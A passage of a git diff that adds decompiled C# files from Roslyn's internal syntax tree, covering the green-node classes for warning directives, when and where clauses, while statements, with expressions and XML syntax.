((GreenNode)this).AdjustFlagsAndWidth((GreenNode)(object)endOfDirectiveToken); + this.endOfDirectiveToken = endOfDirectiveToken; + this.isActive = isActive; + } + + internal override GreenNode? GetSlot(int index) + { + return (GreenNode?)(index switch + { + 0 => hashToken, + 1 => warningKeyword, + 2 => endOfDirectiveToken, + _ => null, + }); + } + + internal override SyntaxNode CreateRed(SyntaxNode? parent, int position) + { + return (SyntaxNode)(object)new Microsoft.CodeAnalysis.CSharp.Syntax.WarningDirectiveTriviaSyntax(this, parent, position); + } + + public override void Accept(CSharpSyntaxVisitor visitor) + { + visitor.VisitWarningDirectiveTrivia(this); + } + + public override TResult Accept(CSharpSyntaxVisitor visitor) + { + return visitor.VisitWarningDirectiveTrivia(this); + } + + public WarningDirectiveTriviaSyntax Update(SyntaxToken hashToken, SyntaxToken warningKeyword, SyntaxToken endOfDirectiveToken, bool isActive) + { + if (hashToken != HashToken || warningKeyword != WarningKeyword || endOfDirectiveToken != EndOfDirectiveToken) + { + WarningDirectiveTriviaSyntax warningDirectiveTriviaSyntax = SyntaxFactory.WarningDirectiveTrivia(hashToken, warningKeyword, endOfDirectiveToken, isActive); + DiagnosticInfo[] diagnostics = ((GreenNode)this).GetDiagnostics(); + if (diagnostics != null && diagnostics.Length != 0) + { + warningDirectiveTriviaSyntax = GreenNodeExtensions.WithDiagnosticsGreen(warningDirectiveTriviaSyntax, diagnostics); + } + SyntaxAnnotation[] annotations = ((GreenNode)this).GetAnnotations(); + if (annotations != null && annotations.Length != 0) + { + warningDirectiveTriviaSyntax = GreenNodeExtensions.WithAnnotationsGreen(warningDirectiveTriviaSyntax, (IEnumerable)annotations); + } + return warningDirectiveTriviaSyntax; + } + return this; + } + + internal override GreenNode SetDiagnostics(DiagnosticInfo[]? diagnostics) + { + return (GreenNode)(object)new WarningDirectiveTriviaSyntax(base.Kind, hashToken, warningKeyword, endOfDirectiveToken, isActive, diagnostics, ((GreenNode)this).GetAnnotations()); + } + + internal override GreenNode SetAnnotations(SyntaxAnnotation[]? annotations) + { + return (GreenNode)(object)new WarningDirectiveTriviaSyntax(base.Kind, hashToken, warningKeyword, endOfDirectiveToken, isActive, ((GreenNode)this).GetDiagnostics(), annotations); + } + + internal WarningDirectiveTriviaSyntax(ObjectReader reader) + : base(reader) + { + ((GreenNode)this).SlotCount = 3; + SyntaxToken syntaxToken = (SyntaxToken)reader.ReadValue(); + ((GreenNode)this).AdjustFlagsAndWidth((GreenNode)(object)syntaxToken); + hashToken = syntaxToken; + SyntaxToken syntaxToken2 = (SyntaxToken)reader.ReadValue(); + ((GreenNode)this).AdjustFlagsAndWidth((GreenNode)(object)syntaxToken2); + warningKeyword = syntaxToken2; + SyntaxToken syntaxToken3 = (SyntaxToken)reader.ReadValue(); + ((GreenNode)this).AdjustFlagsAndWidth((GreenNode)(object)syntaxToken3); + endOfDirectiveToken = syntaxToken3; + isActive = reader.ReadBoolean(); + } + + internal override void WriteTo(ObjectWriter writer) + { + ((GreenNode)this).WriteTo(writer); + writer.WriteValue((IObjectWritable)(object)hashToken); + writer.WriteValue((IObjectWritable)(object)warningKeyword); + writer.WriteValue((IObjectWritable)(object)endOfDirectiveToken); + writer.WriteBoolean(isActive); + } + + static WarningDirectiveTriviaSyntax() + { + ObjectBinder.RegisterTypeReader(typeof(WarningDirectiveTriviaSyntax), (Func)((ObjectReader r) => (IObjectWritable)(object)new WarningDirectiveTriviaSyntax(r))); + } +} diff --git a/decompiled/Libraries/microsoft.codeanalysis.csharp/Microsoft.CodeAnalysis.CSharp.Syntax.InternalSyntax/WhenClauseSyntax.cs b/decompiled/Libraries/microsoft.codeanalysis.csharp/Microsoft.CodeAnalysis.CSharp.Syntax.InternalSyntax/WhenClauseSyntax.cs new file mode 100644 index 0000000..db58ced --- /dev/null +++ b/decompiled/Libraries/microsoft.codeanalysis.csharp/Microsoft.CodeAnalysis.CSharp.Syntax.InternalSyntax/WhenClauseSyntax.cs @@ -0,0 +1,126 @@ +using System; +using System.Collections.Generic; +using Roslyn.Utilities; + +namespace Microsoft.CodeAnalysis.CSharp.Syntax.InternalSyntax; + +internal sealed class WhenClauseSyntax : CSharpSyntaxNode +{ + internal readonly SyntaxToken whenKeyword; + + internal readonly ExpressionSyntax condition; + + public SyntaxToken WhenKeyword => whenKeyword; + + public ExpressionSyntax Condition => condition; + + internal WhenClauseSyntax(SyntaxKind kind, SyntaxToken whenKeyword, ExpressionSyntax condition, DiagnosticInfo[]? diagnostics, SyntaxAnnotation[]? annotations) + : base(kind, diagnostics, annotations) + { + ((GreenNode)this).SlotCount = 2; + ((GreenNode)this).AdjustFlagsAndWidth((GreenNode)(object)whenKeyword); + this.whenKeyword = whenKeyword; + ((GreenNode)this).AdjustFlagsAndWidth((GreenNode)(object)condition); + this.condition = condition; + } + + internal WhenClauseSyntax(SyntaxKind kind, SyntaxToken whenKeyword, ExpressionSyntax condition, SyntaxFactoryContext context) + : base(kind) + { + SetFactoryContext(context); + ((GreenNode)this).SlotCount = 2; + ((GreenNode)this).AdjustFlagsAndWidth((GreenNode)(object)whenKeyword); + this.whenKeyword = whenKeyword; + ((GreenNode)this).AdjustFlagsAndWidth((GreenNode)(object)condition); + this.condition = condition; + } + + internal WhenClauseSyntax(SyntaxKind kind, SyntaxToken whenKeyword, ExpressionSyntax condition) + : base(kind) + { + ((GreenNode)this).SlotCount = 2; + ((GreenNode)this).AdjustFlagsAndWidth((GreenNode)(object)whenKeyword); + this.whenKeyword = whenKeyword; + ((GreenNode)this).AdjustFlagsAndWidth((GreenNode)(object)condition); + this.condition = condition; + } + + internal override GreenNode? GetSlot(int index) + { + return (GreenNode?)(index switch + { + 0 => whenKeyword, + 1 => condition, + _ => null, + }); + } + + internal override SyntaxNode CreateRed(SyntaxNode? parent, int position) + { + return (SyntaxNode)(object)new Microsoft.CodeAnalysis.CSharp.Syntax.WhenClauseSyntax(this, parent, position); + } + + public override void Accept(CSharpSyntaxVisitor visitor) + { + visitor.VisitWhenClause(this); + } + + public override TResult Accept(CSharpSyntaxVisitor visitor) + { + return visitor.VisitWhenClause(this); + } + + public WhenClauseSyntax Update(SyntaxToken whenKeyword, ExpressionSyntax condition) + { + if (whenKeyword != WhenKeyword || condition != Condition) + { + WhenClauseSyntax whenClauseSyntax = SyntaxFactory.WhenClause(whenKeyword, condition); + DiagnosticInfo[] diagnostics = ((GreenNode)this).GetDiagnostics(); + if (diagnostics != null && diagnostics.Length != 0) + { + whenClauseSyntax = GreenNodeExtensions.WithDiagnosticsGreen(whenClauseSyntax, diagnostics); + } + SyntaxAnnotation[] annotations = ((GreenNode)this).GetAnnotations(); + if (annotations != null && annotations.Length != 0) + { + whenClauseSyntax = GreenNodeExtensions.WithAnnotationsGreen(whenClauseSyntax, (IEnumerable)annotations); + } + return whenClauseSyntax; + } + return this; + } + + internal override GreenNode SetDiagnostics(DiagnosticInfo[]? diagnostics) + { + return (GreenNode)(object)new WhenClauseSyntax(base.Kind, whenKeyword, condition, diagnostics, ((GreenNode)this).GetAnnotations()); + } + + internal override GreenNode SetAnnotations(SyntaxAnnotation[]? annotations) + { + return (GreenNode)(object)new WhenClauseSyntax(base.Kind, whenKeyword, condition, ((GreenNode)this).GetDiagnostics(), annotations); + } + + internal WhenClauseSyntax(ObjectReader reader) + : base(reader) + { + ((GreenNode)this).SlotCount = 2; + SyntaxToken syntaxToken = (SyntaxToken)reader.ReadValue(); + ((GreenNode)this).AdjustFlagsAndWidth((GreenNode)(object)syntaxToken); + whenKeyword = syntaxToken; + ExpressionSyntax expressionSyntax = (ExpressionSyntax)reader.ReadValue(); + ((GreenNode)this).AdjustFlagsAndWidth((GreenNode)(object)expressionSyntax); + condition = expressionSyntax; + } + + internal override void WriteTo(ObjectWriter writer) + { + ((GreenNode)this).WriteTo(writer); + writer.WriteValue((IObjectWritable)(object)whenKeyword); + writer.WriteValue((IObjectWritable)(object)condition); + } + + static WhenClauseSyntax() + { + ObjectBinder.RegisterTypeReader(typeof(WhenClauseSyntax), (Func)((ObjectReader r) => (IObjectWritable)(object)new WhenClauseSyntax(r))); + } +} diff --git a/decompiled/Libraries/microsoft.codeanalysis.csharp/Microsoft.CodeAnalysis.CSharp.Syntax.InternalSyntax/WhereClauseSyntax.cs b/decompiled/Libraries/microsoft.codeanalysis.csharp/Microsoft.CodeAnalysis.CSharp.Syntax.InternalSyntax/WhereClauseSyntax.cs new file mode 100644 index 0000000..50a9d5f --- /dev/null +++ b/decompiled/Libraries/microsoft.codeanalysis.csharp/Microsoft.CodeAnalysis.CSharp.Syntax.InternalSyntax/WhereClauseSyntax.cs @@ -0,0 +1,126 @@ +using System; +using System.Collections.Generic; +using Roslyn.Utilities; + +namespace Microsoft.CodeAnalysis.CSharp.Syntax.InternalSyntax; + +internal sealed class WhereClauseSyntax : QueryClauseSyntax +{ + internal readonly SyntaxToken whereKeyword; + + internal readonly ExpressionSyntax condition; + + public SyntaxToken WhereKeyword => whereKeyword; + + public ExpressionSyntax Condition => condition; + + internal WhereClauseSyntax(SyntaxKind kind, SyntaxToken whereKeyword, ExpressionSyntax condition, DiagnosticInfo[]? diagnostics, SyntaxAnnotation[]? annotations) + : base(kind, diagnostics, annotations) + { + ((GreenNode)this).SlotCount = 2; + ((GreenNode)this).AdjustFlagsAndWidth((GreenNode)(object)whereKeyword); + this.whereKeyword = whereKeyword; + ((GreenNode)this).AdjustFlagsAndWidth((GreenNode)(object)condition); + this.condition = condition; + } + + internal WhereClauseSyntax(SyntaxKind kind, SyntaxToken whereKeyword, ExpressionSyntax condition, SyntaxFactoryContext context) + : base(kind) + { + SetFactoryContext(context); + ((GreenNode)this).SlotCount = 2; + ((GreenNode)this).AdjustFlagsAndWidth((GreenNode)(object)whereKeyword); + this.whereKeyword = whereKeyword; + ((GreenNode)this).AdjustFlagsAndWidth((GreenNode)(object)condition); + this.condition = condition; + } + + internal WhereClauseSyntax(SyntaxKind kind, SyntaxToken whereKeyword, ExpressionSyntax condition) + : base(kind) + { + ((GreenNode)this).SlotCount = 2; + ((GreenNode)this).AdjustFlagsAndWidth((GreenNode)(object)whereKeyword); + this.whereKeyword = whereKeyword; + ((GreenNode)this).AdjustFlagsAndWidth((GreenNode)(object)condition); + this.condition = condition; + } + + internal override GreenNode? GetSlot(int index) + { + return (GreenNode?)(index switch + { + 0 => whereKeyword, + 1 => condition, + _ => null, + }); + } + + internal override SyntaxNode CreateRed(SyntaxNode? parent, int position) + { + return (SyntaxNode)(object)new Microsoft.CodeAnalysis.CSharp.Syntax.WhereClauseSyntax(this, parent, position); + } + + public override void Accept(CSharpSyntaxVisitor visitor) + { + visitor.VisitWhereClause(this); + } + + public override TResult Accept(CSharpSyntaxVisitor visitor) + { + return visitor.VisitWhereClause(this); + } + + public WhereClauseSyntax Update(SyntaxToken whereKeyword, ExpressionSyntax condition) + { + if (whereKeyword != WhereKeyword || condition != Condition) + { + WhereClauseSyntax whereClauseSyntax = SyntaxFactory.WhereClause(whereKeyword, condition); + DiagnosticInfo[] diagnostics = ((GreenNode)this).GetDiagnostics(); + if (diagnostics != null && diagnostics.Length != 0) + { + whereClauseSyntax = GreenNodeExtensions.WithDiagnosticsGreen(whereClauseSyntax, diagnostics); + } + SyntaxAnnotation[] annotations = ((GreenNode)this).GetAnnotations(); + if (annotations != null && annotations.Length != 0) + { + whereClauseSyntax = GreenNodeExtensions.WithAnnotationsGreen(whereClauseSyntax, (IEnumerable)annotations); + } + return whereClauseSyntax; + } + return this; + } + + internal override GreenNode SetDiagnostics(DiagnosticInfo[]? diagnostics) + { + return (GreenNode)(object)new WhereClauseSyntax(base.Kind, whereKeyword, condition, diagnostics, ((GreenNode)this).GetAnnotations()); + } + + internal override GreenNode SetAnnotations(SyntaxAnnotation[]? annotations) + { + return (GreenNode)(object)new WhereClauseSyntax(base.Kind, whereKeyword, condition, ((GreenNode)this).GetDiagnostics(), annotations); + } + + internal WhereClauseSyntax(ObjectReader reader) + : base(reader) + { + ((GreenNode)this).SlotCount = 2; + SyntaxToken syntaxToken = (SyntaxToken)reader.ReadValue(); + ((GreenNode)this).AdjustFlagsAndWidth((GreenNode)(object)syntaxToken); + whereKeyword = syntaxToken; + ExpressionSyntax expressionSyntax = (ExpressionSyntax)reader.ReadValue(); + ((GreenNode)this).AdjustFlagsAndWidth((GreenNode)(object)expressionSyntax); + condition = expressionSyntax; + } + + internal override void WriteTo(ObjectWriter writer) + { + ((GreenNode)this).WriteTo(writer); + writer.WriteValue((IObjectWritable)(object)whereKeyword); + writer.WriteValue((IObjectWritable)(object)condition); + } + + static WhereClauseSyntax() + { + ObjectBinder.RegisterTypeReader(typeof(WhereClauseSyntax), (Func)((ObjectReader r) => (IObjectWritable)(object)new WhereClauseSyntax(r))); + } +} diff --git a/decompiled/Libraries/microsoft.codeanalysis.csharp/Microsoft.CodeAnalysis.CSharp.Syntax.InternalSyntax/WhileStatementSyntax.cs b/decompiled/Libraries/microsoft.codeanalysis.csharp/Microsoft.CodeAnalysis.CSharp.Syntax.InternalSyntax/WhileStatementSyntax.cs new file mode 100644 index 0000000..f5c3ac1 --- /dev/null +++ b/decompiled/Libraries/microsoft.codeanalysis.csharp/Microsoft.CodeAnalysis.CSharp.Syntax.InternalSyntax/WhileStatementSyntax.cs @@ -0,0 +1,204 @@ +using System; +using System.Collections.Generic; +using Microsoft.CodeAnalysis.Syntax.InternalSyntax; +using Roslyn.Utilities; + +namespace Microsoft.CodeAnalysis.CSharp.Syntax.InternalSyntax; + +internal sealed class WhileStatementSyntax : StatementSyntax +{ + internal readonly GreenNode? attributeLists; + + internal readonly SyntaxToken whileKeyword; + + internal readonly SyntaxToken openParenToken; + + internal readonly ExpressionSyntax condition; + + internal readonly SyntaxToken closeParenToken; + + internal readonly StatementSyntax statement; + + public override SyntaxList AttributeLists => new SyntaxList(attributeLists); + + public SyntaxToken WhileKeyword => whileKeyword; + + public SyntaxToken OpenParenToken => openParenToken; + + public ExpressionSyntax Condition => condition; + + public SyntaxToken CloseParenToken => closeParenToken; + + public StatementSyntax Statement => statement; + + internal WhileStatementSyntax(SyntaxKind kind, GreenNode? attributeLists, SyntaxToken whileKeyword, SyntaxToken openParenToken, ExpressionSyntax condition, SyntaxToken closeParenToken, StatementSyntax statement, DiagnosticInfo[]? diagnostics, SyntaxAnnotation[]? annotations) + : base(kind, diagnostics, annotations) + { + ((GreenNode)this).SlotCount = 6; + if (attributeLists != null) + { + ((GreenNode)this).AdjustFlagsAndWidth(attributeLists); + this.attributeLists = attributeLists; + } + ((GreenNode)this).AdjustFlagsAndWidth((GreenNode)(object)whileKeyword); + this.whileKeyword = whileKeyword; + ((GreenNode)this).AdjustFlagsAndWidth((GreenNode)(object)openParenToken); + this.openParenToken = openParenToken; + ((GreenNode)this).AdjustFlagsAndWidth((GreenNode)(object)condition); + this.condition = condition; + ((GreenNode)this).AdjustFlagsAndWidth((GreenNode)(object)closeParenToken); + this.closeParenToken = closeParenToken; + ((GreenNode)this).AdjustFlagsAndWidth((GreenNode)(object)statement); + this.statement = statement; + } + + internal WhileStatementSyntax(SyntaxKind kind, GreenNode? attributeLists, SyntaxToken whileKeyword, SyntaxToken openParenToken, ExpressionSyntax condition, SyntaxToken closeParenToken, StatementSyntax statement, SyntaxFactoryContext context) + : base(kind) + { + SetFactoryContext(context); + ((GreenNode)this).SlotCount = 6; + if (attributeLists != null) + { + ((GreenNode)this).AdjustFlagsAndWidth(attributeLists); + this.attributeLists = attributeLists; + } + ((GreenNode)this).AdjustFlagsAndWidth((GreenNode)(object)whileKeyword); + this.whileKeyword = whileKeyword; + ((GreenNode)this).AdjustFlagsAndWidth((GreenNode)(object)openParenToken); + this.openParenToken = openParenToken; + ((GreenNode)this).AdjustFlagsAndWidth((GreenNode)(object)condition); + this.condition = condition; + ((GreenNode)this).AdjustFlagsAndWidth((GreenNode)(object)closeParenToken); + this.closeParenToken = closeParenToken; + ((GreenNode)this).AdjustFlagsAndWidth((GreenNode)(object)statement); + this.statement = statement; + } + + internal WhileStatementSyntax(SyntaxKind kind, GreenNode? attributeLists, SyntaxToken whileKeyword, SyntaxToken openParenToken, ExpressionSyntax condition, SyntaxToken closeParenToken, StatementSyntax statement) + : base(kind) + { + ((GreenNode)this).SlotCount = 6; + if (attributeLists != null) + { + ((GreenNode)this).AdjustFlagsAndWidth(attributeLists); + this.attributeLists = attributeLists; + } + ((GreenNode)this).AdjustFlagsAndWidth((GreenNode)(object)whileKeyword); + this.whileKeyword = whileKeyword; + ((GreenNode)this).AdjustFlagsAndWidth((GreenNode)(object)openParenToken); + this.openParenToken = openParenToken; + ((GreenNode)this).AdjustFlagsAndWidth((GreenNode)(object)condition); + this.condition = condition; + ((GreenNode)this).AdjustFlagsAndWidth((GreenNode)(object)closeParenToken); + this.closeParenToken = closeParenToken; + ((GreenNode)this).AdjustFlagsAndWidth((GreenNode)(object)statement); + this.statement = statement; + } + + internal override GreenNode? GetSlot(int index) + { + return (GreenNode?)(index switch + { + 0 => attributeLists, + 1 => whileKeyword, + 2 => openParenToken, + 3 => condition, + 4 => closeParenToken, + 5 => statement, + _ => null, + }); + } + + internal override SyntaxNode CreateRed(SyntaxNode? parent, int position) + { + return (SyntaxNode)(object)new Microsoft.CodeAnalysis.CSharp.Syntax.WhileStatementSyntax(this, parent, position); + } + + public override void Accept(CSharpSyntaxVisitor visitor) + { + visitor.VisitWhileStatement(this); + } + + public override TResult Accept(CSharpSyntaxVisitor visitor) + { + return visitor.VisitWhileStatement(this); + } + + public WhileStatementSyntax Update(SyntaxList attributeLists, SyntaxToken whileKeyword, SyntaxToken openParenToken, ExpressionSyntax condition, SyntaxToken closeParenToken, StatementSyntax statement) + { + //IL_0000: Unknown result type (might be due to invalid IL or missing references) + //IL_0002: Unknown result type (might be due to invalid IL or missing references) + //IL_003e: Unknown result type (might be due to invalid IL or missing references) + if (attributeLists != AttributeLists || whileKeyword != WhileKeyword || openParenToken != OpenParenToken || condition != Condition || closeParenToken != CloseParenToken || statement != Statement) + { + WhileStatementSyntax whileStatementSyntax = SyntaxFactory.WhileStatement(attributeLists, whileKeyword, openParenToken, condition, closeParenToken, statement); + DiagnosticInfo[] diagnostics = ((GreenNode)this).GetDiagnostics(); + if (diagnostics != null && diagnostics.Length != 0) + { + whileStatementSyntax = GreenNodeExtensions.WithDiagnosticsGreen(whileStatementSyntax, diagnostics); + } + SyntaxAnnotation[] annotations = ((GreenNode)this).GetAnnotations(); + if (annotations != null && annotations.Length != 0) + { + whileStatementSyntax = GreenNodeExtensions.WithAnnotationsGreen(whileStatementSyntax, (IEnumerable)annotations); + } + return whileStatementSyntax; + } + return this; + } + + internal override GreenNode SetDiagnostics(DiagnosticInfo[]? diagnostics) + { + return (GreenNode)(object)new WhileStatementSyntax(base.Kind, attributeLists, whileKeyword, openParenToken, condition, closeParenToken, statement, diagnostics, ((GreenNode)this).GetAnnotations()); + } + + internal override GreenNode SetAnnotations(SyntaxAnnotation[]? annotations) + { + return (GreenNode)(object)new WhileStatementSyntax(base.Kind, attributeLists, whileKeyword, openParenToken, condition, closeParenToken, statement, ((GreenNode)this).GetDiagnostics(), annotations); + } + + internal WhileStatementSyntax(ObjectReader reader) + : base(reader) + { + //IL_0014: Unknown result type (might be due to invalid IL or missing references) + //IL_001a: Expected O, but got Unknown + ((GreenNode)this).SlotCount = 6; + GreenNode val = (GreenNode)reader.ReadValue(); + if (val != null) + { + ((GreenNode)this).AdjustFlagsAndWidth(val); + attributeLists = val; + } + SyntaxToken syntaxToken = (SyntaxToken)reader.ReadValue(); + ((GreenNode)this).AdjustFlagsAndWidth((GreenNode)(object)syntaxToken); + whileKeyword = syntaxToken; + SyntaxToken syntaxToken2 = (SyntaxToken)reader.ReadValue(); + ((GreenNode)this).AdjustFlagsAndWidth((GreenNode)(object)syntaxToken2); + openParenToken = syntaxToken2; + ExpressionSyntax expressionSyntax = (ExpressionSyntax)reader.ReadValue(); + ((GreenNode)this).AdjustFlagsAndWidth((GreenNode)(object)expressionSyntax); + condition = expressionSyntax; + SyntaxToken syntaxToken3 = (SyntaxToken)reader.ReadValue(); + ((GreenNode)this).AdjustFlagsAndWidth((GreenNode)(object)syntaxToken3); + closeParenToken = syntaxToken3; + StatementSyntax statementSyntax = (StatementSyntax)reader.ReadValue(); + ((GreenNode)this).AdjustFlagsAndWidth((GreenNode)(object)statementSyntax); + statement = statementSyntax; + } + + internal override void WriteTo(ObjectWriter writer) + { + ((GreenNode)this).WriteTo(writer); + writer.WriteValue((IObjectWritable)(object)attributeLists); + writer.WriteValue((IObjectWritable)(object)whileKeyword); + writer.WriteValue((IObjectWritable)(object)openParenToken); + writer.WriteValue((IObjectWritable)(object)condition); + writer.WriteValue((IObjectWritable)(object)closeParenToken); + writer.WriteValue((IObjectWritable)(object)statement); + } + + static WhileStatementSyntax() + { + ObjectBinder.RegisterTypeReader(typeof(WhileStatementSyntax), (Func)((ObjectReader r) => (IObjectWritable)(object)new WhileStatementSyntax(r))); + } +} diff --git a/decompiled/Libraries/microsoft.codeanalysis.csharp/Microsoft.CodeAnalysis.CSharp.Syntax.InternalSyntax/WithExpressionSyntax.cs b/decompiled/Libraries/microsoft.codeanalysis.csharp/Microsoft.CodeAnalysis.CSharp.Syntax.InternalSyntax/WithExpressionSyntax.cs new file mode 100644 index 0000000..45143ab --- /dev/null +++ b/decompiled/Libraries/microsoft.codeanalysis.csharp/Microsoft.CodeAnalysis.CSharp.Syntax.InternalSyntax/WithExpressionSyntax.cs @@ -0,0 +1,141 @@ +using System; +using System.Collections.Generic; +using Roslyn.Utilities; + +namespace Microsoft.CodeAnalysis.CSharp.Syntax.InternalSyntax; + +internal sealed class WithExpressionSyntax : ExpressionSyntax +{ + internal readonly ExpressionSyntax expression; + + internal readonly SyntaxToken withKeyword; + + internal readonly InitializerExpressionSyntax initializer; + + public ExpressionSyntax Expression => expression; + + public SyntaxToken WithKeyword => withKeyword; + + public InitializerExpressionSyntax Initializer => initializer; + + internal WithExpressionSyntax(SyntaxKind kind, ExpressionSyntax expression, SyntaxToken withKeyword, InitializerExpressionSyntax initializer, DiagnosticInfo[]? diagnostics, SyntaxAnnotation[]? annotations) + : base(kind, diagnostics, annotations) + { + ((GreenNode)this).SlotCount = 3; + ((GreenNode)this).AdjustFlagsAndWidth((GreenNode)(object)expression); + this.expression = expression; + ((GreenNode)this).AdjustFlagsAndWidth((GreenNode)(object)withKeyword); + this.withKeyword = withKeyword; + ((GreenNode)this).AdjustFlagsAndWidth((GreenNode)(object)initializer); + this.initializer = initializer; + } + + internal WithExpressionSyntax(SyntaxKind kind, ExpressionSyntax expression, SyntaxToken withKeyword, InitializerExpressionSyntax initializer, SyntaxFactoryContext context) + : base(kind) + { + SetFactoryContext(context); + ((GreenNode)this).SlotCount = 3; + ((GreenNode)this).AdjustFlagsAndWidth((GreenNode)(object)expression); + this.expression = expression; + ((GreenNode)this).AdjustFlagsAndWidth((GreenNode)(object)withKeyword); + this.withKeyword = withKeyword; + ((GreenNode)this).AdjustFlagsAndWidth((GreenNode)(object)initializer); + this.initializer = initializer; + } + + internal WithExpressionSyntax(SyntaxKind kind, ExpressionSyntax expression, SyntaxToken withKeyword, InitializerExpressionSyntax initializer) + : base(kind) + { + ((GreenNode)this).SlotCount = 3; + ((GreenNode)this).AdjustFlagsAndWidth((GreenNode)(object)expression); + this.expression = expression; + ((GreenNode)this).AdjustFlagsAndWidth((GreenNode)(object)withKeyword); + this.withKeyword = withKeyword; + ((GreenNode)this).AdjustFlagsAndWidth((GreenNode)(object)initializer); + this.initializer = initializer; + } + + internal override GreenNode? GetSlot(int index) + { + return (GreenNode?)(index switch + { + 0 => expression, + 1 => withKeyword, + 2 => initializer, + _ => null, + }); + } + + internal override SyntaxNode CreateRed(SyntaxNode? parent, int position) + { + return (SyntaxNode)(object)new Microsoft.CodeAnalysis.CSharp.Syntax.WithExpressionSyntax(this, parent, position); + } + + public override void Accept(CSharpSyntaxVisitor visitor) + { + visitor.VisitWithExpression(this); + } + + public override TResult Accept(CSharpSyntaxVisitor visitor) + { + return visitor.VisitWithExpression(this); + } + + public WithExpressionSyntax Update(ExpressionSyntax expression, SyntaxToken withKeyword, InitializerExpressionSyntax initializer) + { + if (expression != Expression || withKeyword != WithKeyword || initializer != Initializer) + { + WithExpressionSyntax withExpressionSyntax = SyntaxFactory.WithExpression(expression, withKeyword, initializer); + DiagnosticInfo[] diagnostics = ((GreenNode)this).GetDiagnostics(); + if (diagnostics != null && diagnostics.Length != 0) + { + withExpressionSyntax = GreenNodeExtensions.WithDiagnosticsGreen(withExpressionSyntax, diagnostics); + } + SyntaxAnnotation[] annotations = ((GreenNode)this).GetAnnotations(); + if (annotations != null && annotations.Length != 0) + { + withExpressionSyntax = GreenNodeExtensions.WithAnnotationsGreen(withExpressionSyntax, (IEnumerable)annotations); + } + return withExpressionSyntax; + } + return this; + } + + internal override GreenNode SetDiagnostics(DiagnosticInfo[]? diagnostics) + { + return (GreenNode)(object)new WithExpressionSyntax(base.Kind, expression, withKeyword, initializer, diagnostics, ((GreenNode)this).GetAnnotations()); + } + + internal override GreenNode SetAnnotations(SyntaxAnnotation[]? annotations) + { + return (GreenNode)(object)new WithExpressionSyntax(base.Kind, expression, withKeyword, initializer, ((GreenNode)this).GetDiagnostics(), annotations); + } + + internal WithExpressionSyntax(ObjectReader reader) + : base(reader) + { + ((GreenNode)this).SlotCount = 3; + ExpressionSyntax expressionSyntax = (ExpressionSyntax)reader.ReadValue(); + ((GreenNode)this).AdjustFlagsAndWidth((GreenNode)(object)expressionSyntax); + expression = expressionSyntax; + SyntaxToken syntaxToken = (SyntaxToken)reader.ReadValue(); + ((GreenNode)this).AdjustFlagsAndWidth((GreenNode)(object)syntaxToken); + withKeyword = syntaxToken; + InitializerExpressionSyntax initializerExpressionSyntax = (InitializerExpressionSyntax)reader.ReadValue(); + ((GreenNode)this).AdjustFlagsAndWidth((GreenNode)(object)initializerExpressionSyntax); + initializer = initializerExpressionSyntax; + } + + internal override void WriteTo(ObjectWriter writer) + { + ((GreenNode)this).WriteTo(writer); + writer.WriteValue((IObjectWritable)(object)expression); + writer.WriteValue((IObjectWritable)(object)withKeyword); + writer.WriteValue((IObjectWritable)(object)initializer); + } + + static WithExpressionSyntax() + { + ObjectBinder.RegisterTypeReader(typeof(WithExpressionSyntax), (Func)((ObjectReader r) => (IObjectWritable)(object)new WithExpressionSyntax(r))); + } +} diff --git a/decompiled/Libraries/microsoft.codeanalysis.csharp/Microsoft.CodeAnalysis.CSharp.Syntax.InternalSyntax/XmlAttributeSyntax.cs b/decompiled/Libraries/microsoft.codeanalysis.csharp/Microsoft.CodeAnalysis.CSharp.Syntax.InternalSyntax/XmlAttributeSyntax.cs new file mode 100644 index 0000000..a727771 --- /dev/null +++ b/decompiled/Libraries/microsoft.codeanalysis.csharp/Microsoft.CodeAnalysis.CSharp.Syntax.InternalSyntax/XmlAttributeSyntax.cs @@ -0,0 +1,29 @@ +using Roslyn.Utilities; + +namespace Microsoft.CodeAnalysis.CSharp.Syntax.InternalSyntax; + +internal abstract class XmlAttributeSyntax : CSharpSyntaxNode +{ + public abstract XmlNameSyntax Name { get; } + + public abstract SyntaxToken EqualsToken { get; } + + public abstract SyntaxToken StartQuoteToken { get; } + + public abstract SyntaxToken EndQuoteToken { get; } + + internal XmlAttributeSyntax(SyntaxKind kind, DiagnosticInfo[]? diagnostics, SyntaxAnnotation[]? annotations) + : base(kind, diagnostics, annotations) + { + } + + internal XmlAttributeSyntax(SyntaxKind kind) + : base(kind) + { + } + + protected XmlAttributeSyntax(ObjectReader reader) + : base(reader) + { + } +} diff --git a/decompiled/Libraries/microsoft.codeanalysis.csharp/Microsoft.CodeAnalysis.CSharp.Syntax.InternalSyntax/XmlCDataSectionSyntax.cs b/decompiled/Libraries/microsoft.codeanalysis.csharp/Microsoft.CodeAnalysis.CSharp.Syntax.InternalSyntax/XmlCDataSectionSyntax.cs new file mode 100644 index 0000000..38dd3ec --- /dev/null +++ b/decompiled/Libraries/microsoft.codeanalysis.csharp/Microsoft.CodeAnalysis.CSharp.Syntax.InternalSyntax/XmlCDataSectionSyntax.cs @@ -0,0 +1,159 @@ +using System; +using System.Collections.Generic; +using Microsoft.CodeAnalysis.Syntax.InternalSyntax; +using Roslyn.Utilities; + +namespace Microsoft.CodeAnalysis.CSharp.Syntax.InternalSyntax; + +internal sealed class XmlCDataSectionSyntax : XmlNodeSyntax +{ + internal readonly SyntaxToken startCDataToken; + + internal readonly GreenNode? textTokens; + + internal readonly SyntaxToken endCDataToken; + + public SyntaxToken StartCDataToken => startCDataToken; + + public SyntaxList TextTokens => new SyntaxList(textTokens); + + public SyntaxToken EndCDataToken => endCDataToken; + + internal XmlCDataSectionSyntax(SyntaxKind kind, SyntaxToken startCDataToken, GreenNode? textTokens, SyntaxToken endCDataToken, DiagnosticInfo[]? diagnostics, SyntaxAnnotation[]? annotations) + : base(kind, diagnostics, annotations) + { + ((GreenNode)this).SlotCount = 3; + ((GreenNode)this).AdjustFlagsAndWidth((GreenNode)(object)startCDataToken); + this.startCDataToken = startCDataToken; + if (textTokens != null) + { + ((GreenNode)this).AdjustFlagsAndWidth(textTokens); + this.textTokens = textTokens; + } + ((GreenNode)this).AdjustFlagsAndWidth((GreenNode)(object)endCDataToken); + this.endCDataToken = endCDataToken; + } + + internal XmlCDataSectionSyntax(SyntaxKind kind, SyntaxToken startCDataToken, GreenNode? textTokens, SyntaxToken endCDataToken, SyntaxFactoryContext context) + : base(kind) + { + SetFactoryContext(context); + ((GreenNode)this).SlotCount = 3; + ((GreenNode)this).AdjustFlagsAndWidth((GreenNode)(object)startCDataToken); + this.startCDataToken = startCDataToken; + if (textTokens != null) + 